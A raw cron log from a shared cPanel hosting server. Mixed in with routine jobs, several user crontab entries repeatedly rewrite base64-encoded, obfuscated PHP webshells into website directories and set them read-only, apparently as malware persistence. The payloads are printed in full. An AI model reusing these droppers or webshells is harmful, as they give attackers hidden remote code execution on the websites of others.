"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:42:01 medusa CROND[6380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:43:02 medusa CROND[8361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:43:02 medusa CROND[8362]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:43:02 medusa CROND[8363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:43:02 medusa CROND[8364]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:43:02 medusa CROND[8365]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 14:43:02 medusa CROND[8366]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:43:02 medusa CROND[8367]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:43:02 medusa CROND[8369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:43:02 medusa CROND[8373]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:43:02 medusa CROND[8374]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:43:02 medusa CROND[8372]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:43:02 medusa CROND[8377]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:43:02 medusa CROND[8378]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 14:43:02 medusa CROND[8375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:44:02 medusa CROND[10383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:44:02 medusa CROND[10384]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:44:02 medusa CROND[10385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:44:02 medusa CROND[10386]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:44:02 medusa CROND[10387]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:44:02 medusa CROND[10388]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:44:02 medusa CROND[10390]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:44:02 medusa CROND[10392]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:44:02 medusa CROND[10393]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:44:02 medusa CROND[10396]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:44:02 medusa CROND[10397]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:44:02 medusa CROND[10398]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:44:02 medusa CROND[10399]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:45:01 medusa CROND[12328]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:45:02 medusa CROND[12343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:45:02 medusa CROND[12346]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 14:45:02 medusa CROND[12347]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:45:02 medusa CROND[12348]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:45:02 medusa CROND[12349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:45:02 medusa CROND[12352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:45:02 medusa CROND[12350]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
